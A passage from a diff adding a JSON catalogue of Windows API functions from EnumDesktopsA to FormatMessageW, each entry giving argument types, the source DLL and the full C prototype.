"user32.dll", + "full_prototype": "BOOL EnumDesktopsA(HWINSTA hwinsta, DESKTOPENUMPROC lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumDesktopsW", + "arguments": [ + "HWINSTA", + "DESKTOPENUMPROCW", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumDesktopsW(HWINSTA hwinsta, DESKTOPENUMPROCW lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumDesktopWindows", + "arguments": [ + "HDESK", + "WNDENUMPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumDesktopWindows(HDESK hDesktop, WNDENUMPROC lpfn, LPARAM lParam);" + }, + { + "function_name": "EnumDisplaySettingsA", + "arguments": [ + "LPCTSTR", + "DWORD", + "LPDEVMODE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumDisplaySettingsA(LPCTSTR lpszDeviceName,DWORD iModeNum,LPDEVMODE lpDevMode);" + }, + { + "function_name": "EnumDisplaySettingsW", + "arguments": [ + "LPCWSTR", + "DWORD", + "PDEVMODEW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumDisplaySettingsW(LPCWSTR lpszDeviceName, DWORD iModeNum, PDEVMODEW lpDevMode);" + }, + { + "function_name": "EnumEnhMetaFile", + "arguments": [ + "HDC", + "HENHMETAFILE", + "ENHMFENUMPROC", + "LPVOID", + "CONST RECT *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL EnumEnhMetaFile(HDC hdc, HENHMETAFILE hemf, ENHMFENUMPROC lpEnhMetaFunc, LPVOID lpData,CONST RECT * lpRect);" + }, + { + "function_name": "EnumFontFamiliesA", + "arguments": [ + "HDC", + "LPCTSTR", + "FONTENUMPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontFamiliesA(HDC hdc,LPCTSTR lpszFamily,FONTENUMPROC lpEnumFontFamProc, LPARAM lParam);" + }, + { + "function_name": "EnumFontFamiliesW", + "arguments": [ + "HDC", + "PLOGFONTW", + "FONTENUMPROCW", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontFamiliesW(HDC hdc,PLOGFONTW lpszFamily,FONTENUMPROCW lpEnumFontFamProc, LPARAM lParam);" + }, + { + "function_name": "EnumFontFamiliesExA", + "arguments": [ + "HDC", + "LPLOGFONT", + "FONTENUMPROC", + "LPARAM", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontFamiliesExA(HDC hdc, LPLOGFONT lpLogfont, FONTENUMPROC lpEnumFontFamExProc, LPARAM lParam, DWORD dwFlags);" + }, + { + "function_name": "EnumFontFamiliesExW", + "arguments": [ + "HDC", + "LPLOGFONTW", + "FONTENUMPROCW", + "LPARAM", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontFamiliesExW(HDC hdc, LPLOGFONTW lpLogfont, FONTENUMPROCW lpEnumFontFamExProc, LPARAM lParam, DWORD dwFlags);" + }, + { + "function_name": "EnumFontsA", + "arguments": [ + "HDC", + "LPCTSTR", + "FONTENUMPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontsA(HDC hdc, LPCTSTR lpFaceName,FONTENUMPROC lpFontFunc,LPARAM lParam);" + }, + { + "function_name": "EnumFontsW", + "arguments": [ + "HDC", + "LPCWSTR", + "FONTENUMPROCW", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumFontsW(HDC hDC, LPCWSTR lpFaceName,FONTENUMPROCW FontFunc,LPARAM lParam);" + }, + { + "function_name": "EnumICMProfilesA", + "arguments": [ + "HDC", + "ICMENUMPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumICMProfilesA(HDC hdc, ICMENUMPROC lpICMEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumICMProfilesW", + "arguments": [ + "HDC", + "ICMENUMPROCW", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumICMProfilesW(HDC hDC, ICMENUMPROCW lpEnumICMProfilesFunc, LPARAM lParam);" + }, + { + "function_name": "EnumJobsA", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL EnumJobsA( HANDLE hPrinter, DWORD FirstJob, DWORD NoJobs, DWORD Level, LPBYTE pJob, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned );" + }, + { + "function_name": "EnumMetaFile", + "arguments": [ + "HDC", + "HMETAFILE", + "MFENUMPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL EnumMetaFile(HDC hdc, HMETAFILE hmf,MFENUMPROC lpMetaFunc, LPARAM lParam);" + }, + { + "function_name": "EnumObjects", + "arguments": [ + "HDC", + "int", + "GOBJENUMPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EnumObjects(HDC hdc, int nObjectType, GOBJENUMPROC lpObjectFunc,LPARAM lParam);" + }, + { + "function_name": "EnumPortsA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL EnumPortsA( LPTSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned );" + }, + { + "function_name": "EnumPrintersA", + "arguments": [ + "DWORD", + "LPTSTR", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL EnumPrintersA( DWORD Flags, LPTSTR Name, DWORD Level, LPBYTE pPrinterEnum, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned );" + }, + { + "function_name": "EnumPropsA", + "arguments": [ + "HWND", + "PROPENUMPROC" + ], + "dll_name": "user32.dll", + "full_prototype": "int EnumPropsA(HWND hWnd, PROPENUMPROC lpEnumFunc);" + }, + { + "function_name": "EnumPropsExA", + "arguments": [ + "HWND", + "PROPENUMPROCEX", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int EnumPropsExA(HWND hWnd, PROPENUMPROCEX lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumPropsExW", + "arguments": [ + "HWND", + "PROPENUMPROCEXW", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int EnumPropsExW(HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumPropsW", + "arguments": [ + "HWND", + "PROPENUMPROCW" + ], + "dll_name": "user32.dll", + "full_prototype": "int EnumPropsW(HWND hWnd, PROPENUMPROCW lpEnumFunc);" + }, + { + "function_name": "EnumResourceLanguagesA", + "arguments": [ + "HMODULE", + "LPCTSTR", + "LPCTSTR", + "ENUMRESLANGPROC", + "LONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceLanguagesA( HMODULE hModule, LPCTSTR lpType, LPCTSTR lpName, ENUMRESLANGPROC lpEnumFunc, LONG lParam );" + }, + { + "function_name": "EnumResourceLanguagesW", + "arguments": [ + "HMODULE", + "LPCWSTR", + "LPCWSTR", + "ENUMRESLANGPROC", + "LONG_PTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceLanguagesW(HMODULE hModule,LPCWSTR lpType,LPCWSTR lpName,ENUMRESLANGPROC lpEnumFunc,LONG_PTR lParam );" + }, + { + "function_name": "EnumResourceNamesA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "ENUMRESNAMEPROC", + "LONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceNamesA( HINSTANCE hModule, LPCTSTR lpszType, ENUMRESNAMEPROC lpEnumFunc, LONG lParam );" + }, + { + "function_name": "EnumResourceNamesW", + "arguments": [ + "HMODULE", + "LPCWSTR", + "ENUMRESNAMEPROC", + "LONG_PTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceNamesW(HMODULE hModule,LPCWSTR lpszType,ENUMRESNAMEPROC lpEnumFunc,LONG_PTR lParam );" + }, + { + "function_name": "EnumResourceTypesA", + "arguments": [ + "HMODULE", + "ENUMRESTYPEPROC", + "LONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceTypesA( HMODULE hModule, ENUMRESTYPEPROC lpEnumFunc, LONG lParam );" + }, + { + "function_name": "EnumResourceTypesW", + "arguments": [ + "HMODULE", + "ENUMRESTYPEPROC", + "", + "LONG_PTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumResourceTypesW(HMODULE hModule,ENUMRESTYPEPROC lpEnumFunc,,LONG_PTR lParam );" + }, + { + "function_name": "EnumSystemCodePagesA", + "arguments": [ + "CODEPAGE_ENUMPROC", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumSystemCodePagesA( CODEPAGE_ENUMPROC lpCodePageEnumProc, DWORD dwFlags );" + }, + { + "function_name": "EnumSystemCodePagesW", + "arguments": [ + "CODEPAGE_ENUMPROCW", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumSystemCodePagesW( CODEPAGE_ENUMPROCW lpfnCodePageEnum, DWORD flags );" + }, + { + "function_name": "EnumSystemLocalesA", + "arguments": [ + "LOCALE_ENUMPROC", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumSystemLocalesA( LOCALE_ENUMPROC lpLocaleEnumProc, DWORD dwFlags );" + }, + { + "function_name": "EnumSystemLocalesW", + "arguments": [ + "LOCALE_ENUMPROCW", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumSystemLocalesW( LOCALE_ENUMPROCW lpfnLocaleEnum, DWORD dwFlags );" + }, + { + "function_name": "EnumTimeFormatsA", + "arguments": [ + "TIMEFMT_ENUMPROC", + "LCID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumTimeFormatsA( TIMEFMT_ENUMPROC lpTimeFmtEnumProc, LCID Locale, DWORD dwFlags );" + }, + { + "function_name": "EnumTimeFormatsW", + "arguments": [ + "TIMEFMT_ENUMPROCW", + "LCID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumTimeFormatsW( TIMEFMT_ENUMPROCW lpTimeFmtEnumProc, LCID Locale, DWORD dwFlags);" + }, + { + "function_name": "EnumThreadWindows", + "arguments": [ + "DWORD", + "WNDENUMPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam);" + }, + { + "function_name": "EnumWindows", + "arguments": [ + "WNDENUMPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumWindowStationsA", + "arguments": [ + "WINSTAENUMPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumWindowStationsA(WINSTAENUMPROC lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumWindowStationsW", + "arguments": [ + "WINSTAENUMPROCW", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumWindowStationsW(WINSTAENUMPROCW EnumFunc, LPARAM Context);" + }, + { + "function_name": "EqualPrefixSid", + "arguments": [ + "PSID", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL EqualPrefixSid( PSID pSid1, PSID pSid2 );" + }, + { + "function_name": "EqualRect", + "arguments": [ + "CONST RECT", + "CONST RECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EqualRect(CONST RECT *lprc1, CONST RECT *lprc2);" + }, + { + "function_name": "EqualRgn", + "arguments": [ + "HRGN", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL EqualRgn(HRGN hSrcRgn1, HRGN hSrcRgn2);" + }, + { + "function_name": "EqualSid", + "arguments": [ + "PSID", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL EqualSid( PSID pSid1, PSID pSid2 );" + }, + { + "function_name": "EraseTape", + "arguments": [ + "HANDLE", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD EraseTape( HANDLE hDevice, DWORD dwEraseType, BOOL bImmediate );" + }, + { + "function_name": "Escape", + "arguments": [ + "HDC", + "int", + "int", + "LPCSTR", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int Escape(HDC hdc, int nEscape, int cbInput, LPCSTR lpvInData, LPVOID lpvOutData);" + }, + { + "function_name": "EscapeCommFunction", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EscapeCommFunction( HANDLE hFile, DWORD dwFunc );" + }, + { + "function_name": "ExcludeClipRect", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int ExcludeClipRect(HDC hdc, int nLeftRect, int nTopRect,int nRightRect,int nBottomRect);" + }, + { + "function_name": "ExcludeUpdateRgn", + "arguments": [ + "HDC", + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "int ExcludeUpdateRgn(HDC hDC, HWND hWnd);" + }, + { + "function_name": "ExitProcess", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID ExitProcess( UINT uExitCode );" + }, + { + "function_name": "ExitThread", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID ExitThread( DWORD dwExitCode );" + }, + { + "function_name": "ExitWindowsEx", + "arguments": [ + "UINT", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ExitWindowsEx(UINT uFlags,DWORD dwReserved);" + }, + { + "function_name": "ExpandEnvironmentStringsA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD ExpandEnvironmentStringsA( LPCTSTR lpSrc, LPTSTR lpDst, DWORD nSize );" + }, + { + "function_name": "ExpandEnvironmentStringsW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD ExpandEnvironmentStringsW( LPCWSTR src, LPWSTR dst, DWORD len );" + }, + { + "function_name": "ExtCreatePen", + "arguments": [ + "DWORD", + "DWORD", + "CONST LOGBRUSH *", + "DWORD", + "CONST DWORD *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPEN ExtCreatePen(DWORD dwPenStyle, DWORD dwWidth, CONST LOGBRUSH * lplb, DWORD dwStyleCount,CONST DWORD * lpStyle);" + }, + { + "function_name": "ExtCreateRegion", + "arguments": [ + "CONST XFORM *", + "DWORD", + "CONST RGNDATA *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN ExtCreateRegion(CONST XFORM * lpXform, DWORD nCount, CONST RGNDATA * lpRgnData);" + }, + { + "function_name": "ExtEscape", + "arguments": [ + "HDC", + "int", + "int", + "LPCSTR", + "int", + "LPSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int ExtEscape(HDC hdc,int nEscape,int cbInput,LPCSTR lpszInData, int cbOutput, LPSTR lpszOutData);" + }, + { + "function_name": "ExtFloodFill", + "arguments": [ + "HDC", + "int", + "int", + "COLORREF", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ExtFloodFill(HDC hdc,int nXStart,int nYStart,COLORREF crColor, UINT fuFillType);" + }, + { + "function_name": "ExtractAssociatedIconA", + "arguments": [ + "HINSTANCE", + "LPTSTR", + "LPWORD" + ], + "dll_name": "shell32.dll", + "full_prototype": "HICON ExtractAssociatedIconA( HINSTANCE hInst, LPTSTR lpIconPath, LPWORD lpiIcon );" + }, + { + "function_name": "ExtractIconA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "UINT" + ], + "dll_name": "shell32.dll", + "full_prototype": "HICON ExtractIconA(HINSTANCE hInst,LPCTSTR lpszExeFileName,UINT nIconIndex);" + }, + { + "function_name": "ExtractIconExA", + "arguments": [ + "LPCTSTR", + "int", + "HICON", + "HICON", + "UINT" + ], + "dll_name": "shell32.dll", + "full_prototype": "UINT ExtractIconExA(LPCTSTR lpszFile,int nIconIndex,HICON *phiconLarge,HICON *phiconSmall,UINT nIcons);" + }, + { + "function_name": "ExtSelectClipRgn", + "arguments": [ + "HDC", + "HRGN", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int ExtSelectClipRgn(HDC hdc, HRGN hrgn, int fnMode);" + }, + { + "function_name": "ExtTextOutA", + "arguments": [ + "HDC", + "int", + "int", + "UINT", + "CONST RECT", + "LPCTSTR", + "UINT", + "CONST INT *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ExtTextOutA(HDC hdc, int X,int Y, UINT fuOptions, CONST RECT *lprc, LPCTSTR lpString,UINT cbCount, CONST INT * lpDx );" + }, + { + "function_name": "ExtTextOutW", + "arguments": [ + "HDC", + "INT", + "INT", + "UINT", + "const RECT*", + "LPCWSTR", + "UINT", + "const INT*" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ExtTextOutW(HDC hdc, INT x, INT y, UINT flags, const RECT* lprect, LPCWSTR str, UINT count, const INT* lpDx);" + }, + { + "function_name": "FatalAppExitA", + "arguments": [ + "UINT", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID FatalAppExitA(UINT uAction,LPCTSTR lpMessageText);" + }, + { + "function_name": "FatalAppExitW", + "arguments": [ + "UINT", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "void FatalAppExitW(UINT uAction,LPCWSTR lpMessageText);" + }, + { + "function_name": "FatalExit", + "arguments": [ + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID FatalExit( int ExitCode );" + }, + { + "function_name": "FileTimeToDosDateTime", + "arguments": [ + "CONST FILETIME *", + "LPWORD", + "LPWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FileTimeToDosDateTime( CONST FILETIME * lpFileTime, LPWORD lpFatDate, LPWORD lpFatTime );" + }, + { + "function_name": "FileTimeToLocalFileTime", + "arguments": [ + "CONST FILETIME *", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FileTimeToLocalFileTime( CONST FILETIME * lpFileTime, LPFILETIME lpLocalFileTime );" + }, + { + "function_name": "FileTimeToSystemTime", + "arguments": [ + "CONST FILETIME *", + "LPSYSTEMTIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FileTimeToSystemTime( CONST FILETIME * lpFileTime, LPSYSTEMTIME lpSystemTime );" + }, + { + "function_name": "FillConsoleOutputAttribute", + "arguments": [ + "HANDLE", + "WORD", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FillConsoleOutputAttribute( HANDLE hConsoleOutput, WORD wAttribute, DWORD nLength, COORD dwWriteCoord, LPDWORD lpNumberOfAttrsWritten );" + }, + { + "function_name": "FillConsoleOutputCharacterA", + "arguments": [ + "HANDLE", + "TCHAR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FillConsoleOutputCharacterA( HANDLE hConsoleOutput, TCHAR cCharacter, DWORD nLength, COORD dwWriteCoord, LPDWORD lpNumberOfCharsWritten );" + }, + { + "function_name": "FillConsoleOutputCharacterW", + "arguments": [ + "HANDLE", + "WCHAR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FillConsoleOutputCharacterW( HANDLE hConsoleOutput, WCHAR ch, DWORD length, COORD coord, LPDWORD lpNumCharsWritten );" + }, + { + "function_name": "FillPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL FillPath(HDC hdc);" + }, + { + "function_name": "FillRect", + "arguments": [ + "HDC", + "CONST RECT", + "HBRUSH" + ], + "dll_name": "user32.dll", + "full_prototype": "int FillRect(HDC hDC, CONST RECT *lprc, HBRUSH hbr);" + }, + { + "function_name": "FillRgn", + "arguments": [ + "HDC", + "HRGN", + "HBRUSH" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL FillRgn(HDC hdc, HRGN hrgn, HBRUSH hbr);" + }, + { + "function_name": "FindAtomA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM FindAtomA( LPCTSTR lpString );" + }, + { + "function_name": "FindAtomW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM FindAtomW( LPCWSTR str );" + }, + { + "function_name": "FindClose", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FindClose(HANDLE hFindFile);" + }, + { + "function_name": "FindCloseChangeNotification", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FindCloseChangeNotification(HANDLE hChangeHandle);" + }, + { + "function_name": "FindExecutableA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPTSTR" + ], + "dll_name": "shell32.dll", + "full_prototype": "HINSTANCE FindExecutableA(LPCTSTR lpFile,LPCTSTR lpDirectory,LPTSTR lpResult);" + }, + { + "function_name": "FindFirstChangeNotificationA", + "arguments": [ + "LPCTSTR", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstChangeNotificationA( LPCTSTR lpPathName, BOOL bWatchSubtree, DWORD dwNotifyFilter );" + }, + { + "function_name": "FindFirstChangeNotificationW", + "arguments": [ + "LPCWSTR", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstChangeNotificationW(LPCWSTR lpPathName, BOOL bWatchSubtree, DWORD dwNotifyFilter);" + }, + { + "function_name": "FindFirstChangeNotification", + "arguments": [ + "LPCTSTR", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstChangeNotification( LPCTSTR lpPathName, BOOL bWatchSubtree, DWORD dwNotifyFilter);" + }, + { + "function_name": "FindFirstFileA", + "arguments": [ + "LPCTSTR", + "LPWIN32_FIND_DATA" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstFileA(LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData);" + }, + { + "function_name": "FindFirstFileExA", + "arguments": [ + "LPCSTR", + "FINDEX_INFO_LEVELS", + "PVOID", + "FINDEX_SEARCH_OPS", + "PVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstFileExA(LPCSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,PVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp,PVOID lpSearchFilter,DWORD dwAdditionalFlags);" + }, + { + "function_name": "FindFirstFileExW", + "arguments": [ + "LPCWSTR", + "FINDEX_INFO_LEVELS", + "PVOID", + "FINDEX_SEARCH_OPS", + "PVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstFileExW(LPCWSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,PVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp,PVOID lpSearchFilter,DWORD dwAdditionalFlags);" + }, + { + "function_name": "FindFirstFileW", + "arguments": [ + "LPCWSTR", + "LPWIN32_FIND_DATAW" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE FindFirstFileW(LPCWSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData);" + }, + { + "function_name": "FindFirstFreeAce", + "arguments": [ + "PACL", + "LPVOID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL FindFirstFreeAce( PACL pAcl, LPVOID *pAce );" + }, + { + "function_name": "FindNextChangeNotification", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FindNextChangeNotification(HANDLE hChangeHandle);" + }, + { + "function_name": "FindNextFileA", + "arguments": [ + "HANDLE", + "LPWIN32_FIND_DATA" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData);" + }, + { + "function_name": "FindNextFileW", + "arguments": [ + "HANDLE", + "LPWIN32_FIND_DATAW" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);" + }, + { + "function_name": "FindResourceA", + "arguments": [ + "HMODULE", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HRSRC FindResourceA( HMODULE hModule, LPCTSTR lpName, LPCTSTR lpType );" + }, + { + "function_name": "FindResourceW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HRSRC FindResourceW(HINSTANCE hModule,LPCWSTR lpName,LPCWSTR lpType );" + }, + { + "function_name": "FindResourceExA", + "arguments": [ + "HMODULE", + "LPCTSTR", + "LPCTSTR", + "WORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HRSRC FindResourceExA( HMODULE hModule, LPCTSTR lpType, LPCTSTR lpName, WORD wLanguage );" + }, + { + "function_name": "FindResourceExW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "LPCWSTR", + "WORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HRSRC FindResourceExW(HINSTANCE hModule,LPCWSTR lpType,LPCWSTR lpName,WORD wLanguage );" + }, + { + "function_name": "FindWindowA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND FindWindowA(LPCTSTR lpClassName, LPCTSTR lpWindowName);" + }, + { + "function_name": "FindWindowExA", + "arguments": [ + "HWND", + "HWND", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND FindWindowExA(HWND hwndParent,HWND hwndChildAfter,LPCTSTR lpszClass,LPCTSTR lpszWindow);" + }, + { + "function_name": "FindWindowExW", + "arguments": [ + "HWND", + "HWND", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND FindWindowExW(HWND hwndParent,HWND hwndChildAfter, LPCWSTR lpszClass, LPCWSTR lpszWindow);" + }, + { + "function_name": "FindWindowW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND FindWindowW(LPCWSTR lpClassName, LPCWSTR lpWindowName);" + }, + { + "function_name": "FlashWindow", + "arguments": [ + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL FlashWindow(HWND hWnd,BOOL bInvert);" + }, + { + "function_name": "FlashWindowEx", + "arguments": [ + "PFLASHWINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL FlashWindowEx(PFLASHWINFO pfwi);" + }, + { + "function_name": "FlattenPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL FlattenPath(HDC hdc);" + }, + { + "function_name": "FloodFill", + "arguments": [ + "HDC", + "int", + "int", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL FloodFill(HDC hdc, int nXStart, int nYStart, COLORREF crFill);" + }, + { + "function_name": "FlushConsoleInputBuffer", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FlushConsoleInputBuffer( HANDLE hConsoleInput );" + }, + { + "function_name": "FlushFileBuffers", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FlushFileBuffers( HANDLE hFile );" + }, + { + "function_name": "FlushInstructionCache", + "arguments": [ + "HANDLE", + "LPCVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FlushInstructionCache( HANDLE hProcess, LPCVOID lpBaseAddress, DWORD dwSize );" + }, + { + "function_name": "FlushViewOfFile", + "arguments": [ + "LPCVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FlushViewOfFile( LPCVOID lpBaseAddress, DWORD dwNumberOfBytesToFlush );" + }, + { + "function_name": "FoldStringA", + "arguments": [ + "DWORD", + "LPCTSTR", + "int", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int FoldStringA( DWORD dwMapFlags, LPCTSTR lpSrcStr, int cchSrc, LPTSTR lpDestStr, int cchDest );" + }, + { + "function_name": "FoldStringW", + "arguments": [ + "DWORD", + "LPCWSTR", + "INT", + "LPWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "INT FoldStringW( DWORD dwFlags, LPCWSTR src, INT srclen, LPWSTR dst, INT dstlen );" + }, + { + "function_name": "FormatMessageA", + "arguments": [ + "DWORD", + "LPCVOID", + "DWORD", + "DWORD", + "LPTSTR", + "DWORD", + "va_list *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD FormatMessageA( DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPTSTR lpBuffer, DWORD nSize, va_list * Arguments );" + }, + { + "function_name": "FormatMessageW", + "arguments": [ + "DWORD", + "PCVOID", + 